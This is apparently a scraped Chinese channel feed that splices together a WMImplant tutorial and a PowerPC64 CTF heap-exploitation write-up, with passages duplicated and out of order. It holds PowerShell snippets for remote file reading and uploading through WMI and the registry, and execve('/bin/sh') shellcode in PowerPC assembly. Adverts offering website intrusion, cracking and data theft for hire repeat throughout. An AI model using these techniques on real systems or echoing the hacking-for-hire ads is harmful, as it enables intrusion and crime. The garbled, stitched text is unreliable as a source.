WMI攻击
Windows提供了多种和WMI进行交互的方式，例如通过powershell或者VBScript等脚本语言进行交互，比如利用c++通过COM API进行交互，利用C#，通过System.Management命名空间下的几个类和WMI进行交互，除此以外，还有几款成熟的工具用来和WMI进行交互，例如wmic.exe。
本文将以WMImplant为例，介绍WMI攻击的原理。WMImplant是一个基于PowerShell的工具，它利用WMI来对目标机器执行操作，而且还作为C2通道来发出命令和接收结果。WMImplant的主要功能有文件操作，横向移动，进程操作，系统操作，以及日志操作。
PowerShell有很多和WMI交互的函数，WMImplant使用的函数主要有如下几个函数。当然，WMImplant使用这些WMI函数，并没有使用CIM函数，因为函数命令是基于低版本的Powershell，而CIM函数只能用于V3以上的版本，但是CIM函数能支持DCOM协议和WinRM协议，而WMI函数只支持DCOM协议。
WMImplant用法很简单,只需要知道目标及其的ComputerName，以及管理员Credential。使用Import-Module .\WMImplant.ps1和Invoke-WMImplant两条命令启动WMImplant。
然后使用change_user命令设置domain/user和password。
WMImplant的文件操作主要有一下操作，其中，经常使用的有cat命令,download命令,ls命令,upload命令。
ls命令的主要作用是列举指定目录下的目录和文件，依次指定指定的ComputerName和目录。其基本原理是从Win32_Directory类中获取目录的信息。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
Windows提供了多种和WMI进行交互的方式，例如通过powershell或者VBScript等脚本语言进行交互，比如利用c++通过COM API进行交互，利用C#，通过System.Management命名空间下的几个类和WMI进行交互，除此以外，还有几款成熟的工具用来和WMI进行交互，例如wmic.exe。
本文将以WMImplant为例，介绍WMI攻击的原理。WMImplant是一个基于PowerShell的工具，它利用WMI来对目标机器执行操作，而且还作为C2通道来发出命令和接收结果。WMImplant的主要功能有文件操作，横向移动，进程操作，系统操作，以及日志操作。
PowerShell有很多和WMI交互的函数，WMImplant使用的函数主要有如下几个函数。当然，WMImplant使用这些WMI函数，并没有使用CIM函数，因为函数命令是基于低版本的Powershell，而CIM函数只能用于V3以上的版本，但是CIM函数能支持DCOM协议和WinRM协议，而WMI函数只支持DCOM协议。
Get-WmiObject
Set-WmiInstance
Invoke-WmiMethod
WMImplant用法很简单,只需要知道目标及其的ComputerName，以及管理员Credential。使用Import-Module .\WMImplant.ps1和Invoke-WMImplant两条命令启动WMImplant。
然后使用change_user命令设置domain/user和password。
WMImplant的文件操作主要有一下操作，其中，经常使用的有cat命令,download命令,ls命令,upload命令。
cat - Reads the contents of a file
copy - Copies a file from one location to another
download - Download a file from the targeted machine
ls - File/Directory listing of a specific directory
search - Search for a file on a user-specified drive
upload - Upload a file to the targeted machine
ls命令的主要作用是列举指定目录下的目录和文件，依次指定指定的ComputerName和目录。其基本原理是从Win32_Directory类中获取目录的信息。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
❤1
WMImplant也是通过远程创建进程将结果写入注册表的方式实现回显，具体操作如下,首先利用StdRegProv类的CreateKey方法创建一个注册表项。
然后构造一个远程命令,其主要目的是利用Get-Content函数读取文件内容，然后将其编码，之后利用Set-ItemProperty函数将其写入注册表中。
接着调用Invoke-WMIObfuscatedPSCommand函数执行上述远程命令。Invoke-WMIObfuscatedPSCommand函数主要是基于利用Win32_Proces类的Create方法创建进程从而执行远程命令。
最后便是利用StdRegProv类的GetStringValue读取键的值。
download命令和upload命令的原理是一样的，都是借助注册表保存文件的内容。然后利用Set-Content函数将保存在注册表的内容写入文件。只是download命令是在本地执行Set-Content函数。而upload命令是在远程机器执行Set-Content函数。
Invoke-WMIObfuscatedPSCommand函数简单的介绍过，其底层就是使用Win32_Process类的Create方法实现的。剩下就是构造一个远程命令,这个命令主要就是利用 Invoke-Command的-sc参数。-sc参数可以添加一个代码块。这样就可以执行Powershell代码块。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
$reg_create = Invoke-WmiMethod -ComputerName $ComputerName -Credential $Credential -Class StdRegProv -Name CreateKey -ArgumentList $HKCU, $Item
然后构造一个远程命令,其主要目的是利用Get-Content函数读取文件内容，然后将其编码，之后利用Set-ItemProperty函数将其写入注册表中。
$remote_command = '$fct = Get-Content -Encoding byte -Path ''' + "$File" + '''; $fctenc = [Int[]][Char[]]$fct -Join '',''; Set-ItemProperty -Path HKCU:\SOFTWARE\EvilKey -Name Result -Value $fctenc;'
接着调用Invoke-WMIObfuscatedPSCommand函数执行上述远程命令。Invoke-WMIObfuscatedPSCommand函数主要是基于利用Win32_Proces类的Create方法创建进程从而执行远程命令。
最后便是利用StdRegProv类的GetStringValue读取键的值。
$regvalue = Invoke-WmiMethod -ComputerName $ComputerName -Credential $Credential -class StdRegProv -Name GetStringValue -ArgumentList $HKCU, $KeyPath, $ResultKey
download命令和upload命令的原理是一样的，都是借助注册表保存文件的内容。然后利用Set-Content函数将保存在注册表的内容写入文件。只是download命令是在本地执行Set-Content函数。而upload命令是在远程机器执行Set-Content函数。
//upload远程执行Set-Content函数
$remote_command = '$Hive = 2147483650; $key = ''' + "$regpath'" + '; $value = ''' + "$registryupname" + '''; $out = Invoke-WmiMethod -Namespace ''root\default'' -Class ''StdRegProv'' -Name ''GetStringValue'' -ArgumentList $Hive, $key, $value; $decode = [byte[]][int[]]$out.sValue.Split('','') -Join '' ''; [byte[]] $decoded = $decode -split '' ''; Set-Content -Encoding byte -Path ' + "$Upload_Dir" + ' -Value $decoded; Remove-ItemProperty -Path ' + "'$fullregistrypath'" + ' -Name ' + "'$registryupname'"
//download本地执行Set-Content函数
Set-Content -Encoding byte -Path $Download_file_path -Value $decoded
Invoke-WMIObfuscatedPSCommand函数简单的介绍过，其底层就是使用Win32_Process类的Create方法实现的。剩下就是构造一个远程命令,这个命令主要就是利用 Invoke-Command的-sc参数。-sc参数可以添加一个代码块。这样就可以执行Powershell代码块。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
PowerPC PWN从入门到实践
寄存器
PowerPC中的寄存器有非常多，ABI规定的寄存器包括专用寄存器、易失性寄存器和非易失性寄存器。
易失性寄存器代表任何函数都可以自由对这些寄存器进行修改，并且不用恢复这些寄存器之前的值；而非易失性寄存器则代表函数可以使用这些寄存器，但需要在函数返回前将这些寄存器的值恢复。
FPR寄存器
Floating-Point Register(FPR)，浮点寄存器，用于浮点运算，从FPR0-FPR31共32个。每个FPR寄存器都支持双精度浮点格式，在64位和32位处理器实现上，FPRs都是64位的。
LR寄存器
Link Register(LR)，链接寄存器，可以为条件转移链接寄存器指令提供转移目标地址，并在LK=1的转移指令之后保存返回地址。
LK即LINK bit，为0时不设置链接寄存器LR；为1时设置连接寄存器LR，转移指令后面的指令地址被放置在链接寄存器LR中
注意尽管两个最低有效位可以接受任何写入的值，但当LR被用作地址时，它们会被忽略。有些处理器可能会保存转移最近设置的LR值的堆栈。
CR寄存器
Condition Register(CR)，条件寄存器，它反映某些操作的结果，并提供一种测试（和转移）的机制
条件寄存器中的位被分组为8个4位字段，命名为CR字段0(CR0)，...，CR字段7(CR7)。CR字段可以通过一些指令进行设置，其中CR0可以是整数指令的隐式结果，CR1可以时浮点指令的隐式结果，指定的CR字段可以表示整数或浮点数比较指令的结果。
CR0字段含义如下
| Bits | 描述 |
| - | - |
| 0 | Negative(LT) - 结果为负时设置该位，即小于 |
| 1 | Positive(GT) - 结果为正数（非零）时设置该位，即大于 |
| 2 | Zero(EQ) - 结果为0时设置该位，即等于 |
| 3 | Summary overflow(SO) - 这是XER[SO]指令完成时的最终状态的副本 |
需要注意当溢出发生时，CR0可能不能反应真实的结果
CTR寄存器
Count Register(CTR)，计数器，可以用来保存循环计数；还可以用来为转移条件计数寄存器指令提供转移目标地址。
XER寄存器
Fixed-Point Exception Register(XER)，特殊寄存器，是一个64位寄存器，用来记录溢出和进位标志
Bits 描述
0:31 保留
32 Summary Overflow(SO):每当指令(除mtspr)设置溢出位时，SO位被设置为1。一旦设置，SO位会保持设置知道被一个mtspr指令(指定XER)或一个mcrxr指令清除。它不会被compare指令修改，也不会被其他不能溢出的指令(除对XER的mtspr、mcrxr)改变
33 Overflow(OV)：执行指令时发生溢出设置。OV位不会被compare指令改变，也不会被其他不能溢出的指令(除对XER的mtspr、mcrxr)改变
34 Carry(CA)：在执行某些指令时，进位设置如下，加进位，减进位，加扩展，减扩展类型的指令，如果有M位的进位则设位1，否则设为0。执行右移代数指令时如果有任何1位移出了一个负操作数，设置其为1，否则设为0。CA位不会被compare指令改变，也不会被其他不能进位的指令（除代数右移、对XER的mtspr、mcrxr）改变
35:56 保留
57:63 该字段指定“加载字符串索引”或“存储字符串索引”指令传输的字节数
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
寄存器
PowerPC中的寄存器有非常多，ABI规定的寄存器包括专用寄存器、易失性寄存器和非易失性寄存器。
易失性寄存器代表任何函数都可以自由对这些寄存器进行修改，并且不用恢复这些寄存器之前的值；而非易失性寄存器则代表函数可以使用这些寄存器，但需要在函数返回前将这些寄存器的值恢复。
FPR寄存器
Floating-Point Register(FPR)，浮点寄存器，用于浮点运算，从FPR0-FPR31共32个。每个FPR寄存器都支持双精度浮点格式，在64位和32位处理器实现上，FPRs都是64位的。
LR寄存器
Link Register(LR)，链接寄存器，可以为条件转移链接寄存器指令提供转移目标地址，并在LK=1的转移指令之后保存返回地址。
LK即LINK bit，为0时不设置链接寄存器LR；为1时设置连接寄存器LR，转移指令后面的指令地址被放置在链接寄存器LR中
注意尽管两个最低有效位可以接受任何写入的值，但当LR被用作地址时，它们会被忽略。有些处理器可能会保存转移最近设置的LR值的堆栈。
CR寄存器
Condition Register(CR)，条件寄存器，它反映某些操作的结果，并提供一种测试（和转移）的机制
条件寄存器中的位被分组为8个4位字段，命名为CR字段0(CR0)，...，CR字段7(CR7)。CR字段可以通过一些指令进行设置，其中CR0可以是整数指令的隐式结果，CR1可以时浮点指令的隐式结果，指定的CR字段可以表示整数或浮点数比较指令的结果。
CR0字段含义如下
| Bits | 描述 |
| - | - |
| 0 | Negative(LT) - 结果为负时设置该位，即小于 |
| 1 | Positive(GT) - 结果为正数（非零）时设置该位，即大于 |
| 2 | Zero(EQ) - 结果为0时设置该位，即等于 |
| 3 | Summary overflow(SO) - 这是XER[SO]指令完成时的最终状态的副本 |
需要注意当溢出发生时，CR0可能不能反应真实的结果
CTR寄存器
Count Register(CTR)，计数器，可以用来保存循环计数；还可以用来为转移条件计数寄存器指令提供转移目标地址。
XER寄存器
Fixed-Point Exception Register(XER)，特殊寄存器，是一个64位寄存器，用来记录溢出和进位标志
Bits 描述
0:31 保留
32 Summary Overflow(SO):每当指令(除mtspr)设置溢出位时，SO位被设置为1。一旦设置，SO位会保持设置知道被一个mtspr指令(指定XER)或一个mcrxr指令清除。它不会被compare指令修改，也不会被其他不能溢出的指令(除对XER的mtspr、mcrxr)改变
33 Overflow(OV)：执行指令时发生溢出设置。OV位不会被compare指令改变，也不会被其他不能溢出的指令(除对XER的mtspr、mcrxr)改变
34 Carry(CA)：在执行某些指令时，进位设置如下，加进位，减进位，加扩展，减扩展类型的指令，如果有M位的进位则设位1，否则设为0。执行右移代数指令时如果有任何1位移出了一个负操作数，设置其为1，否则设为0。CA位不会被compare指令改变，也不会被其他不能进位的指令（除代数右移、对XER的mtspr、mcrxr）改变
35:56 保留
57:63 该字段指定“加载字符串索引”或“存储字符串索引”指令传输的字节数
GPR寄存器
General Purpose Rgister(GPR)，通用寄存器，从GPR0到GPR31共32个。
事实上在gdb中所见就是r0~r31，其中：
| 寄存器 | 用途 |
| - | - |
| r0 | 发生系统调用时对应的系统调用号 |
| r1 | 堆栈指针 |
| r2 | 内容表（toc）指针，IDA把这个寄存器反汇编标识为rtoc。系统调用时，它包含系统调用号 |
| r3 | 函数调用时的第一个参数和返回值 |
| r4-r10 | 函数调用时参数传递 |
| r11 | 用在指针的调用和当作一些语言的环境指针 |
| r12 | 它用在异常处理和glink（动态连接器）代码 |
| r13 | 保留作为系统线程ID |
| r14-r31 | 作为本地变量，非易失性 |
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
r1就类似栈顶指针，第一条指令中，stwu最后的u表示update，指令中有效地址EA=r1+back_chain，该指令首先会将r1的值存放到EA中，接着会把有效地址EA存到r1里。back_chain对应新栈帧大小，是一个负值，此处为0x60，所以这里实际上就是开辟了一块新的栈帧，让r1指向新栈顶，同时在新栈顶处存储了上一个栈帧的栈顶，从而构成一个类似链表的东西，在之后帮助恢复栈帧。
mflr r0，把lr寄存器的值保存到r0中。接着stw将r0保存到栈上，从而在栈上保存了lr返回地址的值。指令中对栈变量的索引使用的是0x60+sender_lr(r1)，r1已经指向新栈帧的栈顶，所以这里是通过栈顶指针索引栈上的局部变量，栈帧空间大小即0x60。
下一条stw指令将r31存储到栈上，然后执行mr把r1的值赋给r31。
由于test函数传入了一个参数n，是通过r3传递的。所以在之后看到首先把r3存到了栈上，接着不断连续调用lwz和stw指令，以r9为中间量，并通过r31索引，对栈上局部变量进行赋值。
接下来就是为函数调用布置参数了，这里由于我们使用的参数很多，会同时使用寄存器和栈变量进行传参。ppc中没有push、pop这样的指令，栈帧空间是提前设置好的，这里指令做的就是把参数从右往左把多出来的4个参数依次在栈上从高地址往低地址放置，第9个参数与栈顶位置中间还会留下一个字长的空间，用来存放下一个栈帧的返回地址；剩下的8个参数按照从右往左依次放入r3~r10中，指定执行时是从r10开始存放的。crclr是用来调整条件寄存器CR的。
lwz将栈上的值赋给r9，再用mr把r9赋给r3，其实就是在传递函数的返回值n
addi把上一个栈帧的栈顶地址存到r11里，然后索引到存放lr返回地址的位置把值放进r0，再通过mtlr r0把r0的值赋给lr寄存器，从而完成了返回地址的恢复。
接着lwz r31, -4(r11)即以上一个栈帧栈顶位置减4为有效地址取值存入r31，这一步是在恢复r31寄存器，对应开头进入函数时stw r31, 0x60+var_4(r1)在栈上保存的r31的值，因为它是非易失性寄存器需要恢复。
再把r11的值给r1，从而r1恢复指向原栈帧的栈顶，完成了函数的退栈操作。到这里也可以看出在ppc中是通过栈顶指针完成栈帧的开辟和弹出的，栈顶指针以链表形式链接，同时对局部变量的操作也是以栈顶为基址进行偏移索引的。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
mflr r0，把lr寄存器的值保存到r0中。接着stw将r0保存到栈上，从而在栈上保存了lr返回地址的值。指令中对栈变量的索引使用的是0x60+sender_lr(r1)，r1已经指向新栈帧的栈顶，所以这里是通过栈顶指针索引栈上的局部变量，栈帧空间大小即0x60。
下一条stw指令将r31存储到栈上，然后执行mr把r1的值赋给r31。
由于test函数传入了一个参数n，是通过r3传递的。所以在之后看到首先把r3存到了栈上，接着不断连续调用lwz和stw指令，以r9为中间量，并通过r31索引，对栈上局部变量进行赋值。
接下来就是为函数调用布置参数了，这里由于我们使用的参数很多，会同时使用寄存器和栈变量进行传参。ppc中没有push、pop这样的指令，栈帧空间是提前设置好的，这里指令做的就是把参数从右往左把多出来的4个参数依次在栈上从高地址往低地址放置，第9个参数与栈顶位置中间还会留下一个字长的空间，用来存放下一个栈帧的返回地址；剩下的8个参数按照从右往左依次放入r3~r10中，指定执行时是从r10开始存放的。crclr是用来调整条件寄存器CR的。
lwz将栈上的值赋给r9，再用mr把r9赋给r3，其实就是在传递函数的返回值n
addi把上一个栈帧的栈顶地址存到r11里，然后索引到存放lr返回地址的位置把值放进r0，再通过mtlr r0把r0的值赋给lr寄存器，从而完成了返回地址的恢复。
接着lwz r31, -4(r11)即以上一个栈帧栈顶位置减4为有效地址取值存入r31，这一步是在恢复r31寄存器，对应开头进入函数时stw r31, 0x60+var_4(r1)在栈上保存的r31的值，因为它是非易失性寄存器需要恢复。
再把r11的值给r1，从而r1恢复指向原栈帧的栈顶，完成了函数的退栈操作。到这里也可以看出在ppc中是通过栈顶指针完成栈帧的开辟和弹出的，栈顶指针以链表形式链接，同时对局部变量的操作也是以栈顶为基址进行偏移索引的。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
漏洞利用
前期的利用就是通过不断用不同大小add和delete填充堆空间，溢出修改size从而造出unsorted bin并得到libc基址，然后通过溢出修改tcache的fd就能任意地址申请了。
在这里由于架构原因泄露出来的基址的计算和平时略有不同，不过计算方法也很简单，在文件所在目录下启动gdb-multiarch，就能直接在其中打印找到__malloc_hook地址位置，再进行索引即可得到libc基址
接着，按照一般的想法只需要劫持__free_hook，写入system地址，然后就能执行system("/bin/sh")getshell了。然而在如此想法下尝试了一下却发现走到了0xdeadbeef。重新看一下给的libc文件，发现里面的execve和system都被修改了
也就是说通过调用函数getshell的路都走不通了
但是，由于题目远程大概率也是用qemu-user模拟的，是可以直接执行shellcode，所以只要通过__free_hook控制执行流后跳转到我们写的shellcode上即可完成getshell
shellcode编写
尝试自己编写shellcode。这里和32位的ppc是类似的，具体实现时针对r3寄存器的设置我用了三种思路
要执行execve("/bin/sh", NULL, NULL)，r3要指向对应字符串，可以将/bin/sh写到堆上然后让r3指过去。在调试的时候发现寄存器r9就是一个堆上的地址，所以第一种思路就是直接通过异或把值迁移到r3上再进行相应偏移的调整即可
shellcode做的就是首先清空r3、r4、r5寄存器，将r0赋值为11对应execve，然后通过异或和加法让r3指向/bin/sh，最后sc即执行系统调用
第二种思路是把地址拼出来，需要用到移位操作
addis是将计算结果左移2字节后再进行存储，sld是左移双字的意思。同时由于限制操作数的大小所以低两个字节需要两次加法得到
第三种思路是最通用的，本题由于我们无法控制lr寄存器，所以无法像上一道题目通过lr索引到/bin/sh。然而我们可以换一种思路，即通过shellcode在某个可写地址写入/bin/sh然后指向即可。在所有寄存器中，我们知道r1永远是指向栈空间的，而栈空间必然是可写的，所以不妨借由r1在栈上写入/bin/sh，从而确保r3参数的布置。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
前期的利用就是通过不断用不同大小add和delete填充堆空间，溢出修改size从而造出unsorted bin并得到libc基址，然后通过溢出修改tcache的fd就能任意地址申请了。
在这里由于架构原因泄露出来的基址的计算和平时略有不同，不过计算方法也很简单，在文件所在目录下启动gdb-multiarch，就能直接在其中打印找到__malloc_hook地址位置，再进行索引即可得到libc基址
接着，按照一般的想法只需要劫持__free_hook，写入system地址，然后就能执行system("/bin/sh")getshell了。然而在如此想法下尝试了一下却发现走到了0xdeadbeef。重新看一下给的libc文件，发现里面的execve和system都被修改了
也就是说通过调用函数getshell的路都走不通了
但是，由于题目远程大概率也是用qemu-user模拟的，是可以直接执行shellcode，所以只要通过__free_hook控制执行流后跳转到我们写的shellcode上即可完成getshell
shellcode编写
尝试自己编写shellcode。这里和32位的ppc是类似的，具体实现时针对r3寄存器的设置我用了三种思路
要执行execve("/bin/sh", NULL, NULL)，r3要指向对应字符串，可以将/bin/sh写到堆上然后让r3指过去。在调试的时候发现寄存器r9就是一个堆上的地址，所以第一种思路就是直接通过异或把值迁移到r3上再进行相应偏移的调整即可
shellcode做的就是首先清空r3、r4、r5寄存器，将r0赋值为11对应execve，然后通过异或和加法让r3指向/bin/sh，最后sc即执行系统调用
sc1='''
li 3, 0
li 4, 0
li 5, 0
li 0, 11
xor 3,3,9
addi 3,3,36
sc
'''
第二种思路是把地址拼出来，需要用到移位操作
addis是将计算结果左移2字节后再进行存储，sld是左移双字的意思。同时由于限制操作数的大小所以低两个字节需要两次加法得到
sc2='''
li 3, 0
li 4, 0
li 5, 0
li 0, 11
addis 3, 4, 8
addi 4, 4, 19
sld 3, 3, 4
li 4, 0
addis 4, 4, {}
addi 3, 3, {}
addi 3, 3, {}+24
add 3, 3, 4
li 4, 0
sc
'''.format((binsh&0xff0000)>>16, (binsh&0xffff)/2, (binsh&0xffff)/2)
第三种思路是最通用的，本题由于我们无法控制lr寄存器，所以无法像上一道题目通过lr索引到/bin/sh。然而我们可以换一种思路，即通过shellcode在某个可写地址写入/bin/sh然后指向即可。在所有寄存器中，我们知道r1永远是指向栈空间的，而栈空间必然是可写的，所以不妨借由r1在栈上写入/bin/sh，从而确保r3参数的布置。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
目是一个经典的菜单题，有add，edit，show，deldete四个功能，代码很好审，这里我是用Ghidra查看伪代码。
简单来说add能够申请一个size小于0x91的chunk并写入信息作为book description，会有一个bookname与之一一对应，索引也使用name来索引，最多只能有三个book，bookname、book description和description的size均作为全局变量记录
edit能够二次编辑已经add的book内容，show打印，del删除。另外给的libc是2.31版本
漏洞发现
首先看到漏洞出现在myread中，存在off by one
修复方法很简单，只需要把local_14 <= param_2改成local_14 < param_2即可。右键选中patch instruction进行指令patch。这里将指令bge修改为bgt即可将<=改为<
众所周知，通常来说一个菜单题出现了off by one，再看一下申请的chunk大小要小于0x91，基本可以确定打tcache了，做题的思路也就很明确了。然而对于本题来说并非如此，调试一下发现，由于powerpc64是大端序，所以溢出的一个字节实际上会位于最高一个字节，无法覆盖掉chunk的size位
所以我们就需要继续审计代码了。可以发现在edit中存在问题。这里在使用myread对chunk内容进行修改后，会使用strlen重新测量内容长度，并用测出来的长度替换原本记录的长度。而myread每次又能够多写入一个字节，这样一来通过多次使用edit就能够造成更多字节的堆溢出，从而修改掉chunk的size位
动态调试
gdb-multiarch加载的脚本如下，其中架构设置为powerpc:common64，因为题目是64位的
set architecture powerpc:common64
file ~/pwn/hfu/pwn
b *0x4000002010
target remote localhost:1234
漏洞利用
前期的利用就是通过不断用不同大小add和delete填充堆空间，溢出修改size从而造出unsorted bin并得到libc基址，然后通过溢出修改tcache的fd就能任意地址申请了。
在这里由于架构原因泄露出来的基址的计算和平时略有不同，不过计算方法也很简单，在文件所在目录下启动gdb-multiarch，就能直接在其中打印找到__malloc_hook地址位置，再进行索引即可得到libc基址
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
简单来说add能够申请一个size小于0x91的chunk并写入信息作为book description，会有一个bookname与之一一对应，索引也使用name来索引，最多只能有三个book，bookname、book description和description的size均作为全局变量记录
edit能够二次编辑已经add的book内容，show打印，del删除。另外给的libc是2.31版本
漏洞发现
首先看到漏洞出现在myread中，存在off by one
修复方法很简单，只需要把local_14 <= param_2改成local_14 < param_2即可。右键选中patch instruction进行指令patch。这里将指令bge修改为bgt即可将<=改为<
众所周知，通常来说一个菜单题出现了off by one，再看一下申请的chunk大小要小于0x91，基本可以确定打tcache了，做题的思路也就很明确了。然而对于本题来说并非如此，调试一下发现，由于powerpc64是大端序，所以溢出的一个字节实际上会位于最高一个字节，无法覆盖掉chunk的size位
所以我们就需要继续审计代码了。可以发现在edit中存在问题。这里在使用myread对chunk内容进行修改后，会使用strlen重新测量内容长度，并用测出来的长度替换原本记录的长度。而myread每次又能够多写入一个字节，这样一来通过多次使用edit就能够造成更多字节的堆溢出，从而修改掉chunk的size位
动态调试
gdb-multiarch加载的脚本如下，其中架构设置为powerpc:common64，因为题目是64位的
set architecture powerpc:common64
file ~/pwn/hfu/pwn
b *0x4000002010
target remote localhost:1234
漏洞利用
前期的利用就是通过不断用不同大小add和delete填充堆空间，溢出修改size从而造出unsorted bin并得到libc基址，然后通过溢出修改tcache的fd就能任意地址申请了。
在这里由于架构原因泄露出来的基址的计算和平时略有不同，不过计算方法也很简单，在文件所在目录下启动gdb-multiarch，就能直接在其中打印找到__malloc_hook地址位置，再进行索引即可得到libc基址
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke